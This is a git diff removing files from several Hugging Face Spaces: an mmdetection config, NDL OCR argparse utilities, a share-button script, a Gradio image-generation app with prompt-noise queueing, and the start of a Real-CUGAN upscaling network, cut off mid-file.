b/spaces/tomofi/NDLOCR/src/ndl_layout/mmdetection/configs/guided_anchoring/ga_rpn_x101_64x4d_fpn_1x_coco.py deleted file mode 100644 index bf66b6b9283042ce6eabc437219f0b16be96d613..0000000000000000000000000000000000000000 --- a/spaces/tomofi/NDLOCR/src/ndl_layout/mmdetection/configs/guided_anchoring/ga_rpn_x101_64x4d_fpn_1x_coco.py +++ /dev/null @@ -1,13 +0,0 @@ -_base_ = './ga_rpn_r50_fpn_1x_coco.py' -model = dict( - pretrained='open-mmlab://resnext101_64x4d', - backbone=dict( - type='ResNeXt', - depth=101, - groups=64, - base_width=4, - num_stages=4, - out_indices=(0, 1, 2, 3), - frozen_stages=1, - norm_cfg=dict(type='BN', requires_grad=True), - style='pytorch')) diff --git a/spaces/tomofi/NDLOCR/src/ndl_layout/tools/utils.py b/spaces/tomofi/NDLOCR/src/ndl_layout/tools/utils.py deleted file mode 100644 index 914647895a243c4ee1adbabccdcebc68538246ed..0000000000000000000000000000000000000000 --- a/spaces/tomofi/NDLOCR/src/ndl_layout/tools/utils.py +++ /dev/null @@ -1,128 +0,0 @@ -#!/usr/bin/env python - -# Copyright (c) 2022, National Diet Library, Japan -# -# This software is released under the CC BY 4.0. -# https://creativecommons.org/licenses/by/4.0/ - -import argparse -import inspect -from collections import OrderedDict - - -def get_rec(d, key): - def _get_rec(d, ks): - if d is None or len(ks) == 0: - return d - return _get_rec(d.get(ks[0]), ks[1:]) - return _get_rec(d, key.split(".")) - - -def get_list_type(type): - import re - match = re.findall("typing.List\[(.*)\]", str(type)) # noqa: W605 - if match: - return eval(match[0]) - return None - - -def add_argument(parser, fn, **kwargs): - assert inspect.isfunction(fn) - sig = inspect.signature(fn) - params = sig.parameters - fn_vars = vars(fn) - for k, p in params.items(): - kwargs = {} - kwargs['help'] = get_rec(fn_vars, 'help.{}'.format(k)) - kwargs['choices'] = get_rec(fn_vars, 'choices.{}'.format(k)) - kwargs['default'] = p.default - type = p.annotation if p.annotation != inspect._empty else None - kwargs['type'] = type - - if kwargs['default'] != inspect._empty: - default_str = " (default: {})".format(kwargs['default']) - if kwargs['help']: - kwargs['help'] += default_str - else: - kwargs['help'] = default_str - - list_type = get_list_type(type) - if list_type: - kwargs['type'] = list_type - kwargs['nargs'] = '+' - - if type is bool: - if k.startswith('use') or k.startswith('enable') or k.startswith('disable') or k.startswith('ignore') or k.startswith('naive'): - kwargs = {'action': 'store_true', 'help': kwargs['help']} - - if p.kind == inspect._ParameterKind.POSITIONAL_OR_KEYWORD: - if kwargs.get('default', inspect._empty) != inspect._empty or kwargs.get('action', "").startswith('store'): - parser.add_argument('--' + k, **kwargs) - else: - parser.add_argument(k, **kwargs) - elif p.kind == inspect._ParameterKind.KEYWORD_ONLY: - parser.add_argument('--' + k, **kwargs) - - -def make_argparser(fn, parser=None, **kwargs): - if parser is None: - parser = argparse.ArgumentParser(**kwargs) - if inspect.isfunction(fn): - add_argument(parser, fn) - parser.set_defaults(handler=fn) - elif isinstance(fn, list): - subp = parser.add_subparsers() - for fn_dict in fn: - if inspect.isfunction(fn_dict): - fn_dict = {'name': fn_dict.__name__, - 'description': fn_dict.__doc__, 'func': fn_dict} - p = subp.add_parser( - fn_dict['name'], description=fn_dict.get('description', None)) - make_argparser(fn_dict['func'], parser=p) - elif isinstance(fn, dict): - fn = [{'name': name, 'description': val.__doc__, 'func': val} if inspect.isfunction( - val) else {'name': name, 'func': val} for name, val in fn.items()] - make_argparser(fn, parser=parser) - else: - assert False, fn - return parser - - -def add_params(val_name, help=None, choices=None): - def _add_params(fn): - if not hasattr(fn, 'help'): - fn.help = {} - if not hasattr(fn, 'choices'): - fn.choices = {} - fn.help[val_name] = help - fn.choices[val_name] = choices - return fn - return _add_params - - -def auto_run(*args, **kwargs): - parser = make_argparser(*args, **kwargs) - args = parser.parse_args() - if not hasattr(args, 'handler'): - parser.print_help() - return - handler = args.handler - _args = args._get_args() - _kwargs = dict(args._get_kwargs()) - del(_kwargs['handler']) - return handler(*_args, **_kwargs) - - -def argslist_to_dict(argslist): - """Convert args list to dictionary. - It converts ["KEY1=VAL1,KEY2=VAL2", "KEY3=VAL3"] - to {"KEY1": "VAL1", "KEY2": "VAL2", "KEY3": "VAL3"} - """ - argsdict = OrderedDict() - for x in argslist: - kvs = x.split(',') - for kv in kvs: - eq = kv.find('=') - k, v = (kv[:eq].strip() if 0 <= eq else '', kv[eq+1:].strip()) - argsdict[k] = v - return argsdict diff --git a/spaces/tonyassi/image-to-image-SDXL/README.md b/spaces/tonyassi/image-to-image-SDXL/README.md deleted file mode 100644 index 3560a22ef93854cb10241249c79faa4154bfd24c..0000000000000000000000000000000000000000 --- a/spaces/tonyassi/image-to-image-SDXL/README.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Image To Image SDXL -emoji: 📷 -colorFrom: pink -colorTo: indigo -sdk: gradio -sdk_version: 3.47.1 -app_file: app.py -pinned: false ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/touchscale/img-to-music/share_btn.py b/spaces/touchscale/img-to-music/share_btn.py deleted file mode 100644 index 351a8f6252414dc48fd9972867f875a002731c19..0000000000000000000000000000000000000000 --- a/spaces/touchscale/img-to-music/share_btn.py +++ /dev/null @@ -1,104 +0,0 @@ -community_icon_html = """""" - -loading_icon_html = """""" - -share_js = """async () => { - async function uploadFile(file){ - const UPLOAD_URL = 'https://huggingface.co/uploads'; - const response = await fetch(UPLOAD_URL, { - method: 'POST', - headers: { - 'Content-Type': file.type, - 'X-Requested-With': 'XMLHttpRequest', - }, - body: file, /// <- File inherits from Blob - }); - const url = await response.text(); - return url; - } - async function getInputImgFile(imgEl){ - const res = await fetch(imgEl.src); - const blob = await res.blob(); - const imgId = Date.now() % 200; - const isPng = imgEl.src.startsWith(`data:image/png`); - if(isPng){ - const fileName = `sd-perception-${{imgId}}.png`; - return new File([blob], fileName, { type: 'image/png' }); - }else{ - const fileName = `sd-perception-${{imgId}}.jpg`; - return new File([blob], fileName, { type: 'image/jpeg' }); - } - } - async function getOutputMusicFile(audioEL){ - const res = await fetch(audioEL.src); - const blob = await res.blob(); - const audioId = Date.now() % 200; - const fileName = `img-to-music-${{audioId}}.wav`; - const musicBlob = new File([blob], fileName, { type: 'audio/wav' }); - console.log(musicBlob); - return musicBlob; - } - - async function audioToBase64(audioFile) { - return new Promise((resolve, reject) => { - let reader = new FileReader(); - reader.readAsDataURL(audioFile); - reader.onload = () => resolve(reader.result); - reader.onerror = error => reject(error); - - }); - } - const gradioEl = document.querySelector('body > gradio-app'); - // const gradioEl = document.querySelector("gradio-app").shadowRoot; - const inputImgEl = gradioEl.querySelector('#input-img img'); - const prompts = gradioEl.querySelector('#prompts_out textarea').value; - const outputMusic = gradioEl.querySelector('#music-output audio'); - const outputMusic_src = gradioEl.querySelector('#music-output audio').src; - const outputMusic_name = outputMusic_src.split('/').pop(); - let titleTxt = outputMusic_name; - //if(titleTxt.length > 100){ - // titleTxt = titleTxt.slice(0, 100) + ' ...'; - //} - const shareBtnEl = gradioEl.querySelector('#share-btn'); - const shareIconEl = gradioEl.querySelector('#share-btn-share-icon'); - const loadingIconEl = gradioEl.querySelector('#share-btn-loading-icon'); - if(!outputMusic){ - return; - }; - shareBtnEl.style.pointerEvents = 'none'; - shareIconEl.style.display = 'none'; - loadingIconEl.style.removeProperty('display'); - const inputFile = await getInputImgFile(inputImgEl); - const urlInputImg = await uploadFile(inputFile); - const musicFile = await getOutputMusicFile(outputMusic); - const dataOutputMusic = await uploadFile(musicFile); - - const descriptionMd = `#### Input img: - - -#### Prompts out: -${prompts} - -#### Music: - - -`; - const params = new URLSearchParams({ - title: titleTxt, - description: descriptionMd, - }); - const paramsStr = params.toString(); - window.open(`https://huggingface.co/spaces/fffiloni/img-to-music/discussions/new?${paramsStr}`, '_blank'); - shareBtnEl.style.removeProperty('pointer-events'); - shareIconEl.style.removeProperty('display'); - loadingIconEl.style.display = 'none'; -}""" \ No newline at end of file diff --git a/spaces/trholding/SpeechCloning/reference_audios/__init__.py b/spaces/trholding/SpeechCloning/reference_audios/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/trttung1610/musicgen/audiocraft/metrics/__init__.py b/spaces/trttung1610/musicgen/audiocraft/metrics/__init__.py deleted file mode 100644 index 3474bdc4f1c88b21904d2a21ba077c93a8a70c8b..0000000000000000000000000000000000000000 --- a/spaces/trttung1610/musicgen/audiocraft/metrics/__init__.py +++ /dev/null @@ -1,14 +0,0 @@ -# Copyright (c) Meta Platforms, Inc. and affiliates. -# All rights reserved. -# -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. -"""Metrics like CLAP score, FAD, KLD, Visqol, Chroma similarity, etc. -""" -# flake8: noqa -from .clap_consistency import CLAPTextConsistencyMetric, TextConsistencyMetric -from .chroma_cosinesim import ChromaCosineSimilarityMetric -from .fad import FrechetAudioDistanceMetric -from .kld import KLDivergenceMetric, PasstKLDivergenceMetric -from .rvm import RelativeVolumeMel -from .visqol import ViSQOL diff --git a/spaces/trttung1610/musicgen/scripts/__init__.py b/spaces/trttung1610/musicgen/scripts/__init__.py deleted file mode 100644 index 0952fcc3f57e34b3747962e9ebd6fc57aeea63fa..0000000000000000000000000000000000000000 --- a/spaces/trttung1610/musicgen/scripts/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -# Copyright (c) Meta Platforms, Inc. and affiliates. -# All rights reserved. -# -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. diff --git a/spaces/trysem/confusion/app.py b/spaces/trysem/confusion/app.py deleted file mode 100644 index 247a3f8758e9cde54f4c06987afc06fd9d333b0c..0000000000000000000000000000000000000000 --- a/spaces/trysem/confusion/app.py +++ /dev/null @@ -1,171 +0,0 @@ -import gradio as gr -import os -import sys -from pathlib import Path -import random -import string -import time -from queue import Queue -from threading import Thread - -text_gen=gr.Interface.load("spaces/trysem/visua") -proc1=gr.Interface.load("models/trysem/dreamlike-photoreal-2.0", live=True) - -def restart_script_periodically(): - while True: - time.sleep(600) # 10 minutes - os.execl(sys.executable, sys.executable, *sys.argv) - -restart_thread = Thread(target=restart_script_periodically, daemon=True) -restart_thread.start() - -def reset_queue_periodically(): - start_time = time.time() - while True: - if time.time() - start_time >= 120: # 5 minutes - queue.queue.clear() - start_time = time.time() - -reset_queue_thread = Thread(target=reset_queue_periodically, daemon=True) -reset_queue_thread.start() - -queue = Queue() -queue_threshold = 50 - -def add_random_noise(prompt, noise_level=0.07): - # Get the percentage of characters to add as noise - percentage_noise = noise_level * 5 - # Get the number of characters to add as noise - num_noise_chars = int(len(prompt) * (percentage_noise/100)) - # Get the indices of the characters to add noise to - noise_indices = random.sample(range(len(prompt)), num_noise_chars) - # Add noise to the selected characters - prompt_list = list(prompt) - noise_chars = string.ascii_letters + string.punctuation + ' ' - for index in noise_indices: - prompt_list[index] = random.choice(noise_chars) - return "".join(prompt_list) - - -def send_it1(inputs, noise_level, proc1=proc1): - prompt_with_noise = add_random_noise(inputs, noise_level) - while queue.qsize() >= queue_threshold: - time.sleep(2) - queue.put(prompt_with_noise) - output1 = proc1(queue.get()) - queue.queue.clear() # Clear the queue after the output is generated - return output1 - -def send_it2(inputs, noise_level, proc1=proc1): - prompt_with_noise = add_random_noise(inputs, noise_level) - while queue.qsize() >= queue_threshold: - time.sleep(2) - queue.put(prompt_with_noise) - output2 = proc1(queue.get()) - queue.queue.clear() # Clear the queue after the output is generated - return output2 - -def send_it3(inputs, noise_level, proc1=proc1): - prompt_with_noise = add_random_noise(inputs, noise_level) - while queue.qsize() >= queue_threshold: - time.sleep(2) - queue.put(prompt_with_noise) - output3 = proc1(queue.get()) - queue.queue.clear() # Clear the queue after the output is generated - return output3 - -def send_it4(inputs, noise_level, proc1=proc1): - prompt_with_noise = add_random_noise(inputs, noise_level) - while queue.qsize() >= queue_threshold: - time.sleep(2) - queue.put(prompt_with_noise) - output4 = proc1(queue.get()) - queue.queue.clear() # Clear the queue after the output is generated - return output4 - -def send_it5(inputs, noise_level, proc1=proc1): - prompt_with_noise = add_random_noise(inputs, noise_level) - while queue.qsize() >= queue_threshold: - time.sleep(2) - queue.put(prompt_with_noise) - output5 = proc1(queue.get()) - queue.queue.clear() # Clear the queue after the output is generated - return output5 - -def send_it6(inputs, noise_level, proc1=proc1): - prompt_with_noise = add_random_noise(inputs, noise_level) - while queue.qsize() >= queue_threshold: - time.sleep(2) - queue.put(prompt_with_noise) - output6 = proc1(queue.get()) - queue.queue.clear() # Clear the queue after the output is generated - return output6 - -def send_it7(inputs, noise_level, proc1=proc1): - prompt_with_noise = add_random_noise(inputs, noise_level) - while queue.qsize() >= queue_threshold: - time.sleep(2) - queue.put(prompt_with_noise) - output7 = proc1(queue.get()) - queue.queue.clear() # Clear the queue after the output is generated - return output7 - -def send_it8(inputs, noise_level, proc1=proc1): - prompt_with_noise = add_random_noise(inputs, noise_level) - while queue.qsize() >= queue_threshold: - time.sleep(2) - queue.put(prompt_with_noise) - output8 = proc1(queue.get()) - queue.queue.clear() # Clear the queue after the output is generated - return output8 - - -def get_prompts(prompt_text): - while queue.qsize() >= queue_threshold: - time.sleep(2) - queue.put(prompt_text) - output = text_gen(queue.get()) - queue.queue.clear() # Clear the queue after the output is generated - return output - - -with gr.Blocks() as myface: - with gr.Row(): - - input_text=gr.Textbox(label="Short Prompt") - see_prompts=gr.Button("Magic Prompt") - with gr.Row(): - - prompt=gr.Textbox(label="Enter Prompt") - noise_level=gr.Slider(minimum=0.1, maximum=3, step=0.1, label="Noise Level: Controls how much randomness is added to the input before it is sent to the model. Higher noise level produces more diverse outputs, while lower noise level produces similar outputs.") - run=gr.Button("Generate") - - with gr.Row(): - like_message = gr.Button("❤️ excurl realistic photo art generator! ❤️") - with gr.Row(): - output1=gr.Image(label="Variant 1") - output2=gr.Image(label="Variant 2") - with gr.Row(): - output3=gr.Image(label="Variant 3") - output4=gr.Image(label="Variant 4") - with gr.Row(): - output5=gr.Image(label="Variant 5") - output6=gr.Image(label="Variant 6") - with gr.Row(): - output7=gr.Image(label="Variant 7") - output8=gr.Image(label="Variant 8") - - - run.click(send_it1, inputs=[prompt, noise_level], outputs=[output1]) - run.click(send_it2, inputs=[prompt, noise_level], outputs=[output2]) - run.click(send_it3, inputs=[prompt, noise_level], outputs=[output3]) - run.click(send_it4, inputs=[prompt, noise_level], outputs=[output4]) - run.click(send_it5, inputs=[prompt, noise_level], outputs=[output5]) - run.click(send_it6, inputs=[prompt, noise_level], outputs=[output6]) - run.click(send_it7, inputs=[prompt, noise_level], outputs=[output7]) - run.click(send_it8, inputs=[prompt, noise_level], outputs=[output8]) - see_prompts.click(get_prompts, inputs=[input_text], outputs=[prompt]) - -myface.launch(enable_queue=True, inline=True) -block.queue(concurrency_count=30, max_size=30) -reset_queue_thread.join() \ No newline at end of file diff --git a/spaces/tvt/Real-CUGAN/upcunet_v3.py b/spaces/tvt/Real-CUGAN/upcunet_v3.py deleted file mode 100644 index f7919a6cc9efe3b8af73a73e30825a4c7d7d76da..0000000000000000000000000000000000000000 --- a/spaces/tvt/Real-CUGAN/upcunet_v3.py +++ /dev/null @@ -1,714 +0,0 @@ -import torch -from torch import nn as nn -from torch.nn import functional as F -import os, sys -import numpy as np - -root_path = os.path.abspath('.') -sys.path.append(root_path) - - -class SEBlock(nn.Module): - def __init__(self, in_channels, reduction=8, bias=False): - super(SEBlock, self).__init__() - self.conv1 = nn.Conv2d(in_channels, in_channels // reduction, 1, 1, 0, bias=bias) - self.conv2 = nn.Conv2d(in_channels // reduction, in_channels, 1, 1, 0, bias=bias) - - def forward(self, x): - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - x0 = torch.mean(x.float(), dim=(2, 3), keepdim=True).half() - else: - x0 = torch.mean(x, dim=(2, 3), keepdim=True) - x0 = self.conv1(x0) - x0 = F.relu(x0, inplace=True) - x0 = self.conv2(x0) - x0 = torch.sigmoid(x0) - x = torch.mul(x, x0) - return x - - def forward_mean(self, x, x0): - x0 = self.conv1(x0) - x0 = F.relu(x0, inplace=True) - x0 = self.conv2(x0) - x0 = torch.sigmoid(x0) - x = torch.mul(x, x0) - return x - - -class UNetConv(nn.Module): - def __init__(self, in_channels, mid_channels, out_channels, se): - super(UNetConv, self).__init__() - self.conv = nn.Sequential( - nn.Conv2d(in_channels, mid_channels, 3, 1, 0), - nn.LeakyReLU(0.1, inplace=True), - nn.Conv2d(mid_channels, out_channels, 3, 1, 0), - nn.LeakyReLU(0.1, inplace=True), - ) - if se: - self.seblock = SEBlock(out_channels, reduction=8, bias=True) - else: - self.seblock = None - - def forward(self, x): - z = self.conv(x) - if self.seblock is not None: - z = self.seblock(z) - return z - - -class UNet1(nn.Module): - def __init__(self, in_channels, out_channels, deconv): - super(UNet1, self).__init__() - self.conv1 = UNetConv(in_channels, 32, 64, se=False) - self.conv1_down = nn.Conv2d(64, 64, 2, 2, 0) - self.conv2 = UNetConv(64, 128, 64, se=True) - self.conv2_up = nn.ConvTranspose2d(64, 64, 2, 2, 0) - self.conv3 = nn.Conv2d(64, 64, 3, 1, 0) - - if deconv: - self.conv_bottom = nn.ConvTranspose2d(64, out_channels, 4, 2, 3) - else: - self.conv_bottom = nn.Conv2d(64, out_channels, 3, 1, 0) - - for m in self.modules(): - if isinstance(m, (nn.Conv2d, nn.ConvTranspose2d)): - nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') - elif isinstance(m, nn.Linear): - nn.init.normal_(m.weight, 0, 0.01) - if m.bias is not None: - nn.init.constant_(m.bias, 0) - - def forward(self, x): - x1 = self.conv1(x) - x2 = self.conv1_down(x1) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - x2 = self.conv2(x2) - x2 = self.conv2_up(x2) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - - x1 = F.pad(x1, (-4, -4, -4, -4)) - x3 = self.conv3(x1 + x2) - x3 = F.leaky_relu(x3, 0.1, inplace=True) - z = self.conv_bottom(x3) - return z - - def forward_a(self, x): - x1 = self.conv1(x) - x2 = self.conv1_down(x1) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - x2 = self.conv2.conv(x2) - return x1, x2 - - def forward_b(self, x1, x2): - x2 = self.conv2_up(x2) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - - x1 = F.pad(x1, (-4, -4, -4, -4)) - x3 = self.conv3(x1 + x2) - x3 = F.leaky_relu(x3, 0.1, inplace=True) - z = self.conv_bottom(x3) - return z - - -class UNet1x3(nn.Module): - def __init__(self, in_channels, out_channels, deconv): - super(UNet1x3, self).__init__() - self.conv1 = UNetConv(in_channels, 32, 64, se=False) - self.conv1_down = nn.Conv2d(64, 64, 2, 2, 0) - self.conv2 = UNetConv(64, 128, 64, se=True) - self.conv2_up = nn.ConvTranspose2d(64, 64, 2, 2, 0) - self.conv3 = nn.Conv2d(64, 64, 3, 1, 0) - - if deconv: - self.conv_bottom = nn.ConvTranspose2d(64, out_channels, 5, 3, 2) - else: - self.conv_bottom = nn.Conv2d(64, out_channels, 3, 1, 0) - - for m in self.modules(): - if isinstance(m, (nn.Conv2d, nn.ConvTranspose2d)): - nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') - elif isinstance(m, nn.Linear): - nn.init.normal_(m.weight, 0, 0.01) - if m.bias is not None: - nn.init.constant_(m.bias, 0) - - def forward(self, x): - x1 = self.conv1(x) - x2 = self.conv1_down(x1) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - x2 = self.conv2(x2) - x2 = self.conv2_up(x2) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - - x1 = F.pad(x1, (-4, -4, -4, -4)) - x3 = self.conv3(x1 + x2) - x3 = F.leaky_relu(x3, 0.1, inplace=True) - z = self.conv_bottom(x3) - return z - - def forward_a(self, x): - x1 = self.conv1(x) - x2 = self.conv1_down(x1) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - x2 = self.conv2.conv(x2) - return x1, x2 - - def forward_b(self, x1, x2): - x2 = self.conv2_up(x2) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - - x1 = F.pad(x1, (-4, -4, -4, -4)) - x3 = self.conv3(x1 + x2) - x3 = F.leaky_relu(x3, 0.1, inplace=True) - z = self.conv_bottom(x3) - return z - - -class UNet2(nn.Module): - def __init__(self, in_channels, out_channels, deconv): - super(UNet2, self).__init__() - - self.conv1 = UNetConv(in_channels, 32, 64, se=False) - self.conv1_down = nn.Conv2d(64, 64, 2, 2, 0) - self.conv2 = UNetConv(64, 64, 128, se=True) - self.conv2_down = nn.Conv2d(128, 128, 2, 2, 0) - self.conv3 = UNetConv(128, 256, 128, se=True) - self.conv3_up = nn.ConvTranspose2d(128, 128, 2, 2, 0) - self.conv4 = UNetConv(128, 64, 64, se=True) - self.conv4_up = nn.ConvTranspose2d(64, 64, 2, 2, 0) - self.conv5 = nn.Conv2d(64, 64, 3, 1, 0) - - if deconv: - self.conv_bottom = nn.ConvTranspose2d(64, out_channels, 4, 2, 3) - else: - self.conv_bottom = nn.Conv2d(64, out_channels, 3, 1, 0) - - for m in self.modules(): - if isinstance(m, (nn.Conv2d, nn.ConvTranspose2d)): - nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') - elif isinstance(m, nn.Linear): - nn.init.normal_(m.weight, 0, 0.01) - if m.bias is not None: - nn.init.constant_(m.bias, 0) - - def forward(self, x): - x1 = self.conv1(x) - x2 = self.conv1_down(x1) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - x2 = self.conv2(x2) - - x3 = self.conv2_down(x2) - x3 = F.leaky_relu(x3, 0.1, inplace=True) - x3 = self.conv3(x3) - x3 = self.conv3_up(x3) - x3 = F.leaky_relu(x3, 0.1, inplace=True) - - x2 = F.pad(x2, (-4, -4, -4, -4)) - x4 = self.conv4(x2 + x3) - x4 = self.conv4_up(x4) - x4 = F.leaky_relu(x4, 0.1, inplace=True) - - x1 = F.pad(x1, (-16, -16, -16, -16)) - x5 = self.conv5(x1 + x4) - x5 = F.leaky_relu(x5, 0.1, inplace=True) - - z = self.conv_bottom(x5) - return z - - def forward_a(self, x): # conv234结尾有se - x1 = self.conv1(x) - x2 = self.conv1_down(x1) - x2 = F.leaky_relu(x2, 0.1, inplace=True) - x2 = self.conv2.conv(x2) - return x1, x2 - - def forward_b(self, x2): # conv234结尾有se - x3 = self.conv2_down(x2) - x3 = F.leaky_relu(x3, 0.1, inplace=True) - x3 = self.conv3.conv(x3) - return x3 - - def forward_c(self, x2, x3): # conv234结尾有se - x3 = self.conv3_up(x3) - x3 = F.leaky_relu(x3, 0.1, inplace=True) - - x2 = F.pad(x2, (-4, -4, -4, -4)) - x4 = self.conv4.conv(x2 + x3) - return x4 - - def forward_d(self, x1, x4): # conv234结尾有se - x4 = self.conv4_up(x4) - x4 = F.leaky_relu(x4, 0.1, inplace=True) - - x1 = F.pad(x1, (-16, -16, -16, -16)) - x5 = self.conv5(x1 + x4) - x5 = F.leaky_relu(x5, 0.1, inplace=True) - - z = self.conv_bottom(x5) - return z - - -class UpCunet2x(nn.Module): # 完美tile，全程无损 - def __init__(self, in_channels=3, out_channels=3): - super(UpCunet2x, self).__init__() - self.unet1 = UNet1(in_channels, out_channels, deconv=True) - self.unet2 = UNet2(in_channels, out_channels, deconv=False) - - def forward(self, x, tile_mode): # 1.7G - n, c, h0, w0 = x.shape - if (tile_mode == 0): # 不tile - ph = ((h0 - 1) // 2 + 1) * 2 - pw = ((w0 - 1) // 2 + 1) * 2 - x = F.pad(x, (18, 18 + pw - w0, 18, 18 + ph - h0), 'reflect') # 需要保证被2整除 - x = self.unet1.forward(x) - x0 = self.unet2.forward(x) - x1 = F.pad(x, (-20, -20, -20, -20)) - x = torch.add(x0, x1) - if (w0 != pw or h0 != ph): x = x[:, :, :h0 * 2, :w0 * 2] - return x - elif (tile_mode == 1): # 对长边减半 - if (w0 >= h0): - crop_size_w = ((w0 - 1) // 4 * 4 + 4) // 2 # 减半后能被2整除，所以要先被4整除 - crop_size_h = (h0 - 1) // 2 * 2 + 2 # 能被2整除 - else: - crop_size_h = ((h0 - 1) // 4 * 4 + 4) // 2 # 减半后能被2整除，所以要先被4整除 - crop_size_w = (w0 - 1) // 2 * 2 + 2 # 能被2整除 - crop_size = (crop_size_h, crop_size_w) # 6.6G - elif (tile_mode == 2): # hw都减半 - crop_size = (((h0 - 1) // 4 * 4 + 4) // 2, ((w0 - 1) // 4 * 4 + 4) // 2) # 5.6G - elif (tile_mode == 3): # hw都三分之一 - crop_size = (((h0 - 1) // 6 * 6 + 6) // 3, ((w0 - 1) // 6 * 6 + 6) // 3) # 4.2G - elif (tile_mode == 4): # hw都四分之一 - crop_size = (((h0 - 1) // 8 * 8 + 8) // 4, ((w0 - 1) // 8 * 8 + 8) // 4) # 3.7G - ph = ((h0 - 1) // crop_size[0] + 1) * crop_size[0] - pw = ((w0 - 1) // crop_size[1] + 1) * crop_size[1] - x = F.pad(x, (18, 18 + pw - w0, 18, 18 + ph - h0), 'reflect') - n, c, h, w = x.shape - se_mean0 = torch.zeros((n, 64, 1, 1)).to(x.device) - if ("Half" in x.type()): - se_mean0 = se_mean0.half() - n_patch = 0 - tmp_dict = {} - opt_res_dict = {} - for i in range(0, h - 36, crop_size[0]): - tmp_dict[i] = {} - for j in range(0, w - 36, crop_size[1]): - x_crop = x[:, :, i:i + crop_size[0] + 36, j:j + crop_size[1] + 36] - n, c1, h1, w1 = x_crop.shape - tmp0, x_crop = self.unet1.forward_a(x_crop) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(x_crop.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(x_crop, dim=(2, 3), keepdim=True) - se_mean0 += tmp_se_mean - n_patch += 1 - tmp_dict[i][j] = (tmp0, x_crop) - se_mean0 /= n_patch - se_mean1 = torch.zeros((n, 128, 1, 1)).to(x.device) # 64#128#128#64 - if ("Half" in x.type()): - se_mean1 = se_mean1.half() - for i in range(0, h - 36, crop_size[0]): - for j in range(0, w - 36, crop_size[1]): - tmp0, x_crop = tmp_dict[i][j] - x_crop = self.unet1.conv2.seblock.forward_mean(x_crop, se_mean0) - opt_unet1 = self.unet1.forward_b(tmp0, x_crop) - tmp_x1, tmp_x2 = self.unet2.forward_a(opt_unet1) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(tmp_x2.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(tmp_x2, dim=(2, 3), keepdim=True) - se_mean1 += tmp_se_mean - tmp_dict[i][j] = (opt_unet1, tmp_x1, tmp_x2) - se_mean1 /= n_patch - se_mean0 = torch.zeros((n, 128, 1, 1)).to(x.device) # 64#128#128#64 - if ("Half" in x.type()): - se_mean0 = se_mean0.half() - for i in range(0, h - 36, crop_size[0]): - for j in range(0, w - 36, crop_size[1]): - opt_unet1, tmp_x1, tmp_x2 = tmp_dict[i][j] - tmp_x2 = self.unet2.conv2.seblock.forward_mean(tmp_x2, se_mean1) - tmp_x3 = self.unet2.forward_b(tmp_x2) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(tmp_x3.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(tmp_x3, dim=(2, 3), keepdim=True) - se_mean0 += tmp_se_mean - tmp_dict[i][j] = (opt_unet1, tmp_x1, tmp_x2, tmp_x3) - se_mean0 /= n_patch - se_mean1 = torch.zeros((n, 64, 1, 1)).to(x.device) # 64#128#128#64 - if ("Half" in x.type()): - se_mean1 = se_mean1.half() - for i in range(0, h - 36, crop_size[0]): - for j in range(0, w - 36, crop_size[1]): - opt_unet1, tmp_x1, tmp_x2, tmp_x3 = tmp_dict[i][j] - tmp_x3 = self.unet2.conv3.seblock.forward_mean(tmp_x3, se_mean0) - tmp_x4 = self.unet2.forward_c(tmp_x2, tmp_x3) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(tmp_x4.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(tmp_x4, dim=(2, 3), keepdim=True) - se_mean1 += tmp_se_mean - tmp_dict[i][j] = (opt_unet1, tmp_x1, tmp_x4) - se_mean1 /= n_patch - for i in range(0, h - 36, crop_size[0]): - opt_res_dict[i] = {} - for j in range(0, w - 36, crop_size[1]): - opt_unet1, tmp_x1, tmp_x4 = tmp_dict[i][j] - tmp_x4 = self.unet2.conv4.seblock.forward_mean(tmp_x4, se_mean1) - x0 = self.unet2.forward_d(tmp_x1, tmp_x4) - x1 = F.pad(opt_unet1, (-20, -20, -20, -20)) - x_crop = torch.add(x0, x1) # x0是unet2的最终输出 - opt_res_dict[i][j] = x_crop - del tmp_dict - torch.cuda.empty_cache() - res = torch.zeros((n, c, h * 2 - 72, w * 2 - 72)).to(x.device) - if ("Half" in x.type()): - res = res.half() - for i in range(0, h - 36, crop_size[0]): - for j in range(0, w - 36, crop_size[1]): - res[:, :, i * 2:i * 2 + h1 * 2 - 72, j * 2:j * 2 + w1 * 2 - 72] = opt_res_dict[i][j] - del opt_res_dict - torch.cuda.empty_cache() - if (w0 != pw or h0 != ph): res = res[:, :, :h0 * 2, :w0 * 2] - return res # - - -class UpCunet3x(nn.Module): # 完美tile，全程无损 - def __init__(self, in_channels=3, out_channels=3): - super(UpCunet3x, self).__init__() - self.unet1 = UNet1x3(in_channels, out_channels, deconv=True) - self.unet2 = UNet2(in_channels, out_channels, 